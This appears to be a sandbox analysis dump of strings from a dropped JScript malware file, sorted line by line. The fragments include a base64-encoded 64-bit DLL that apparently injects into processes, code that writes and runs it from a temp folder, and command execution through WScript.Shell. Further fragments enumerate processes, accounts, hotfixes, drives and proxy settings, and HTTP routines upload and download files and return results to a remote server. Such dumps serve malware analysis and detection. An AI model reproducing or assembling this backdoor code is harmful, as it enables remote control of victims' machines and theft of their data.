mockDll64 += "AABEi0wkYEiNFToOAABIjY3QBAAATIvHTIl8JCD/FeUNAABIg8n/M8BIjb3QBAAATI2NIAkAAPKuSI2V0AQAAEiJXCQgSPfRTI1B";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABEjUkE/xUXEAAASIvwSIXAdGVFM8lFM8Az0kiLy/8Vlg8AAEyNTCRYRIvHSIvWSIvLSMdEJCAAAAAA/xXRDwAAhcB0Ijt8JFh1";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABIi0wkUEiNhQgJAABMjUQkcEmNVRBBuQgAAABIiUQkIP8VmgwAAIXAD4R4AQAASIO9CAkAAAgPhWoBAABIi0YwSDlEJHB1KUiN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AABMjUVASI0VywkAAEiNjYAEAACJXCQoSIlEJCD/FTUJAABBu01aAABmRDkedAQz/+slTI2NgAQAAEyNhXADAABIjY2ADAAASIvW";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AACAIgAAABEAALMRAABwIgAAwBEAABcSAABUIgAAFxIAAIQVAABAIgAAhBUAAKAVAAAwIgAAsBUAAF4XAAC0IgAAXhcAAGkYAACg";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AACJAw+2BXwLAABIjRV5CwAAiEMESI1EJDBIjQ1yCwAASIlEJCjHRCQgBQEAAEiJtCSQFQAA/xUbCgAATI1cJDBMjY1QAQAATIlc";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AAD0JgAAAABtb2NrX3J1bjJfeDY0LmRsbABEbGxSZWdpc3RlclNlcnZlcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AADYJAAAAAAAAOYkAAAAAAAA/iQAAAAAAAAOJQAAAAAAACIlAAAAAAAANCUAAAAAAABIJQAAAAAAAFQlAAAAAAAAZiUAAAAAAAB2";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AGFyZ3MAAAAAb3V0ZgAAAAB0aW1lAAAAAAEEAQAEQgAAAY0JAI10CQAVZAgAEFQHAAs0BgAEQgAAARoJABo0BgATdAkADmQIAAlU";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "ALoAAACARY1BAcdEJCgAAAAAx0QkIAMAAAD/Fc4PAABIi9hIg/j/D4SgAAAAM9JIi8j/Fb4PAACL+IP4/w+EgQAAADPJi9dBuAAw";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "AMPMzMxIiVwkGFVIjawkgOv//7iAFQAA6LgFAABIK+BIiw02GgAASI1UJDBBuAUBAAD/Fc0KAACAfCQwAEiNXCQwdAmQSP/DgDsA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "ANAiAAA8AAAAAAAAAAAAAAAAQAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "bGhlbHAzMlNuYXBzaG90AAA2AENsb3NlSGFuZGxlALMDV3JpdGVQcm9jZXNzTWVtb3J5AADOAlJlc3VtZVRocmVhZAAAhgBEZWxl";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "BnNVSI18MCiLB4XAdDyLV/xEi0cESItMJFBIA1QkaESLyEiNhQgJAABNA8RIiUQkIP8VGgwAAIXAD4SIAAAAiwdIO4UICQAAdX0P";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "BwAEQgAAIQAAAMARAAAXEgAAVCIAACEIAgAI1EABwBEAABcSAABUIgAAASELACFkQwEhNEIBIQE6ARLwEOAOwAxwC1AAAAENBQAN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "BWIXAACFwA+OhwAAAEiLDXMXAAD/yEiFyYkFSBcAAHROSIsFVxcAAEiD6AhIO8FIiQVJFwAAciZIgzgAdBD/EEiLDUAXAABIiwUx";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "CAAAi8joqPj//0iLz/8VZwgAAEiLvCSYFQAASIu0JJAVAABIi5wkoBUAADPASIHEgBUAAF3DzMzMzMzMzMzMzMzMSIPsKIXSdXqL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "CgAASI0NqAoAAEUzwP8VGwkAAEiNjVABAACL2Oi9+P//SIvwSIXAD4QaAQAASI2NgQwAADPSQbj/BwAASIm8JJgVAADGhYAMAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "Cw8AAIXAdd9Ii8//FSYPAABIi5wkYAEAAEiBxFABAABfw8zMzMzMzMzMzMzMzMxIiVwkGEiJdCQgVVdBVEFWQVdIjawkMPf//0iB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "cwAAhwNWaXJ0dWFsQWxsb2MAAIgDVmlydHVhbEFsbG9jRXgAAJ4BR2V0UHJpdmF0ZVByb2ZpbGVTdHJpbmdBAACUAlByb2Nlc3Mz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "dfiAOy50Cw8fAEj/y4A7LnX4SI0VrQsAAEiLy/8VAAsAAIXAdBa4AQAAAEiLnCSgFQAASIHEgBUAAF3DiwWMCwAATI1NQEyNBYYL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "dGVGaWxlQQBLRVJORUwzMi5kbGwAAL8Cc3ByaW50ZgBtc3ZjcnQuZGxsAAD0AF9pbml0dGVybQBkAmZyZWUAAJkCbWFsbG9jAABc";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "DYoNAAD/FcQMAABIjRVlDQAASIvI/xV8DAAASItUJHBIi0wkUP/QRItGUEiLVjBIi0wkUEG5ADAAAMdEJCBAAAAA/xVfDAAASIlE";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "FwAASIPoCEg7wUiJBSMXAABz2v8VAwgAAEjHBRgXAAAAAAAAuAEAAABIg8Qow4P6AXXxuQABAADozwEAAEiFwEiJBfUWAAB1BzPA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "g+woSIlsJDhIiXQkQEiJfCRIM/9IiVwkMEiL8b3/////SIvO6EQAAABIhcBIi9h1I4vP/xW+BQAARI2f6AMAAEGB+2DqAABBi/sP";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "GwGwAgZQAAABBAEABBIAABAjAAAAAAAAAAAAAEwmAAAAIAAACCQAAAAAAAAAAAAAZCYAAPggAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hbAAAACLDeUVAACFyQ+OogAAAP/JiQ3VFQAASIsN7hUAAEiFyQ+EigAAAEiLBdYVAABIg+gISDvBSIkFyBUAAHImSIM4AHQQ/xBI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hcB0EUyLxovTSIvN6Lr+//+FwHUWM8BIi3QkQEiLbCQ4SItcJDBIg8Qow0yLxovTSIvNSIl8JEjonvv//4P7AYv4D4V+AAAAhcAP";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "HEiLy/8VDhAAAEiLxkiLXCRQSIt0JGBIg8RAX8Mz0kG4AIAAAEiLzv8VWg8AAEiLy/8V4Q8AAEiLXCRQSIt0JGAzwEiDxEBfw8zM";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "hKm3oPmpwD2Eqbeg6anFPYSpt6D/qcQ9hKnBPYWp6T2EqdqgK6nCPYSp2qAfqcA9hKnaoBmpwD2EqVJpY2jBPYSpAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "IAIAAAD/FYsNAABMi+hIg/j/D4TwAgAASIlF6EiJRfAzwEiJRCRYSIlEJGBIjUQkUEiJRCRISI1FkEUzyUiJRCRASIlcJDhIiVwk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "IgAAaRgAAIQYAACQIgAAkBgAAGwZAAD4IQAAcBkAAOAaAAAAIgAA8BoAAF4bAAAYIgAAgBsAAM4bAADIIgAAAAAAAAAAAAAAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "IiUAAAAAAAA0JQAAAAAAAEglAAAAAAAAVCUAAAAAAABmJQAAAAAAAHYlAAAAAAAAiCUAAAAAAACkJQAAAAAAALQlAAAAAAAAxCUA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "iw2/FQAASIsFsBUAAEiD6AhIO8FIiQWiFQAAc9r/FYIGAABIxwWXFQAAAAAAAOs6hdt0BYP7A3UxTIvGi9NIi83o7/3//4XAdQQz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JChMjQU0CwAASI0VPAsAAEiNDTELAADHRCQgBQEAAP8V5wkAAEyNXCQwTI2NYAIAAEyJXCQoTI0FAAsAAEiNFRALAABIjQ39CgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JEyJXCQITTPbTI1UJBhMK9BND0LTZUyLHCUQAAAATTvTcxZmQYHiAPBNjZsA8P//QcYDAE0703XwTIsUJEyLXCQISIPEEMMAAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JGhIhcAPhCUBAABEi05USI2NCAkAAE2LxEiJTCQgSItMJFBIi9D/FXAMAACFwA+E3gAAAItGVEg5hQgJAAAPhc4AAAAPt0YUZjte";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "JQAAAAAAAIglAAAAAAAApCUAAAAAAAC0JQAAAAAAAMQlAAAAAAAA2iUAAAAAAADuJQAAAAAAAAomAAAAAAAAGCYAAAAAAAAuJgAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "MEiJbCQ4SIl0JECL2kiL6UmL8HUeORVrFgAAdVkzwEiLdCRASItsJDhIi1wkMEiDxCjDg/oBdAWD+gJ1OUiLBWoWAABIhcB0Bv/Q";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "MEUzwEmL1jPJx0QkKAQAAADHRcwBAQAASIlcJFDHRCQgAQAAAP8VgA0AAIXAD4SKAgAASI2N0QQAADPSQbj/AwAAiJ3QBAAA6FoI";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "Mk5leHQApwFHZXRQcm9jZXNzSWQAAH8BR2V0TW9kdWxlRmlsZU5hbWVBAACBAUdldE1vZHVsZUhhbmRsZUEAAHQAQ3JlYXRlVG9v";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "NCwADQEqAAZwAAABDwYAD2QMAA80CgAPcgtwIQAAALAVAABeFwAAtCIAACEIAgAIdLMCsBUAAF4XAAC0IgAAAccHAMdksgIbNLQC";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "R/07/XXQSIvDSIt8JEhIi3QkQEiLbCQ4SItcJDBIg8Qow/8lpAUAAP8ltgUAAMzMzMzMzMzMzMzMzGZmZpBmZmaQZpBIg+wQTIkU";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "SIl0JCDos/n//0iL+DPSQbgAgAAASIvO/xUXCAAASIX/dDuF234uZg8fRAAAuugDAABIi8//y/8V8AcAAIXAdASF23XoSIvP/xVX";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "SIPEKMNIxwAAAAAASIsF3hYAAEiNFe8HAABIjQ3gBwAASIkFwRYAAOiEAQAA/wWeFgAAuAEAAABIg8Qow8zMzMxIg+wohdJIiVwk";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "t0YG/8NIg8coO9h8sEiLTCRQSI2FCAkAAEyNRCRoSY1VEEG5CAAAAEiJRCQg/xXTCwAAhcB0RUiDvQgJAAAIdTuLRihIi0wkWEiN";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "TM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACFXOr6wT2EqcE9hKnBPYSpaUj6qcA9";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "TW9kdWxlPSVzClJlYWxDbWQ9JXMgJXMKVGltZU91dD0lZAoKAAAAAC5kbGwAAAAALmluaQAAAABtb2NrAAAAAGNmZwByZWFsAAAA";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "uCwBAADHRCQgMAEAAOgMCgAAM9KNSgL/FV0PAABIjVQkIEiLyEiL+P8VtA4AAIXAdCE5XCRAdQmLTCQo6Hn///9IjVQkIEiLz/8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "VQBIA0QkaEiJhYAAAAD/Fe8KAABIi0wkWP8VpAsAAEiLTCRY/xWJCwAASItEJFDrNkiLVCRoSIXSdBRIi0wkUEG5AIAAAEUzwP8V";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "x0QkIAUBAAD/FbMJAABMjVwkMEyNjXADAABMiVwkKEyNBcwKAABIjRXkCgAASI0NyQoAAMdEJCAFAQAA/xV/CQAATI1MJDBIjRXL";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "zMzMzMxIiVwkCFdIgexQAQAAi9lEi8Ez0rn//x8A/xUpDwAASIv4SIXAdBe6AQAAAEiLyP8VOw8AAEiLz/8Vig8AAEiNTCQkM9JB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 += "ZXNzTWVtb3J5AGkAQ3JlYXRlUHJvY2Vzc0EAAGQDVGVybWluYXRlUHJvY2VzcwAAsQJSZWFkRmlsZQAAogFHZXRQcm9jQWRkcmVz";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDll64 = "";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDllName = '~.' + this.randStr(16);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockDllPath = this.tmpDir + '\\' + mockDllName + '.dll';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockIniPath = this.tmpDir + '\\' + mockDllName + '.ini';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockOutPath = this.tmpDir + '\\' + mockDllName + '.out';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mockRun:function(real, args, timeout, mock){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFile : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFileName : '_xmutex_',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
mutexFilePath : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
navigateIE:function(ie, url){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
navNoHistory = 0x2;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
node.dataType = 'bin.base64';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
node.text = bin;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
now:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oCimv2 : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oExec = this.oShell.Exec(cmdline);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oExec.Terminate();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oFS : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp = new ActiveXObject('MSXML2.ServerXMLHTTP.6.0');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.open('GET', url, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.open(method, url, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.send();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.send(data);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setOption(2, 13056);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxy(SXH_PROXY_SET_PRECONFIG);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxy(SXH_PROXY_SET_PROXY, proxy, '<local>');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setProxyCredentials(username, password);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setRequestHeader('CONTENT-TYPE', 'application/x-www-form-urlencoded');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oHttp.setRequestHeader('Cookie', cookie);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oIE : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ok = false;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ok = true;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oNet : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
orz.fire();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oSA : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
osBit : '',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oShell : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oShell = new ActiveXObject('WScript.Shell');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
outFile = this.oFS.OpenTextFile(mockOutPath, ForReading);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
outFile.Close();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
outParams = proc.ExecMethod_(method.Name, null);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output +
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr2);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = output + String.fromCharCode(chr3);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
output = this._utf8_decode(output);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
oWbemLocator : null,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
password.name = this.pName;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
password.value = this.id.split("").reverse().join("");
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pCreate:function(CommandLine){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pExists:function(processId){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pId : 'password',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pid = this.pCreate('cscript /E:JScript /nologo "'+scriptFilePath+'"');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pInfo:function(pid, query){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pKill:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pKillTree:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pList:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pName : 'password',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = procList[i];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proc = procList[j];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
procList = [];
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
procList.push(proc);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
property = pe.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
property = proc.Properties_.item(bander) + ' ';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
proxy:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
pTree:function(pid){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
putRes = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
qSession:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
query = query.replace(/\s/g, '');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
queryArray = query.split(',');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
queryStr = 'Select * From Win32_Account where SIDType=1 and LocalAccount=TRUE';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
quit:function(){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
randStr:function(len){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
rcv.innerText = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realSec = 3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realShow = 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realTimeOut = 5;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
realUrl = url?url:this.initUrl
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
req:function(url, method, data, cookie, proxy, username, password){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += '['+i+'] ' + comment + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'Owner = ' + outParams.User+'\\'+outParams.Domain + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProcessID='+oExec.ProcessID+',timeout='+timeout+',ExitCode='+oExec.ExitCode+'\r\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProxyEnable='+this.oShell.RegRead('HKEY_USERS\\'+sid+'\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += 'ProxyServer='+this.oShell.RegRead('HKEY_USERS\\'+sid+'\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += acc.Domain+'\\'+acc.Name+'|'+acc.SID+'|'+acc.Description+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += ele;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += i+": "+obj[i]+',\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += objQuickFix.HotFixID + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += proc.Name + ' ' + proc.ProcessId + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += property.Name + ' = ' + property.Value.toString() + '\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += s.Name+' '+s.Caption+' '+s.Description+' '+s.LogonType.toString()+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += table.charAt(Math.floor(Math.random() * table.length));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res += this._pTree(proc.ProcessId, level+1);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = 'PID=' + pid.toString()+'\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = f.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = f.Size;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res = outFile.ReadAll();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res+='\n';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
res='read outFile '+mockOutPath+' failed';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
ret='';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
retryInterval : 1000*60*25,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
retryTime : 3,
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return res;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return !colProcess.atEnd();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return '';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return '[Timeout] outf: '+outFilePath+' pid='+pid;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'done';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'ProcessID='+oExec.ProcessID+',timeout<=0';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'unknown';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 'Write scriptFile error';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return 0;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return ele.AddressWidth;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return err.name+':'+ (err.number & 0xFFFF).toString() + "|" + err.description;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return i!=3;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return i<arr.length;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return ie;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return info;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return myDate.getFullYear()+"-"+(myDate.getMonth()+1)+"-"+myDate.getDate()+" "+myDate.getHours()+":"+ minute +":"+ seconds
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return oHttp.getAllResponseHeaders() + oHttp.responseText;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return outParams.ProcessId;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return output;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return pid+' terminated';
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return res;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return string;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this._pTree(pid, 0);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseCode + this.now() + '\n' + ret);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseDownFile + this.now() + '\n' + 'Download Not Supported!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseDownFile + this.now() + '\n' + filePath + '\ndownCount=' + count
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseExecCmd + this.now() + '\n' + 'unknown case: '+caseStr+'\n'+tmp);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseExecCmd + this.now() + '\n' + this.execWithCScript(data, 10));
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + 'UpArg Err!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + 'Upload BigFile Not Supported!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\n' + upPath + '\n' + size + '\nUpload OK!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\nupFile=' + this.upFile + '\nNoAccessToWrite!');
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.encode(this.caseUpFile + this.now() + '\nupFile=' + this.upFile + '\nupSize=' +this.upSize
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.oShell.Run(cmdline, realShow, false);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return this.upInfo()+'\n'+this.downInfo();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return utftext;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return(s);
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
return;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
run:function(cmdline, show){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "---Network drive mappings\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "---Network printer mappings\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Drive " + oDrives.Item(i) + " - " + oDrives.Item(i + 1) + "\r\n";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Not Ready";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += "Port " + oPrinters.Item(i) + " - " + oPrinters.Item(i + 1) + "\r\n";;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += drv.Path + " - ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += freeGB.toFixed(3) + " GB / ";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s += totalGB.toFixed(3) + " GB";
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
s = e.item();
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
seconds = "0" + seconds;
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
setWorkFlag:function(flag){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
showObj:function(obj){
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
sId : 'submit',
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
sid = info[1]
Ansi based on Dropped File (~HFYJEZHM.tmp.306831)
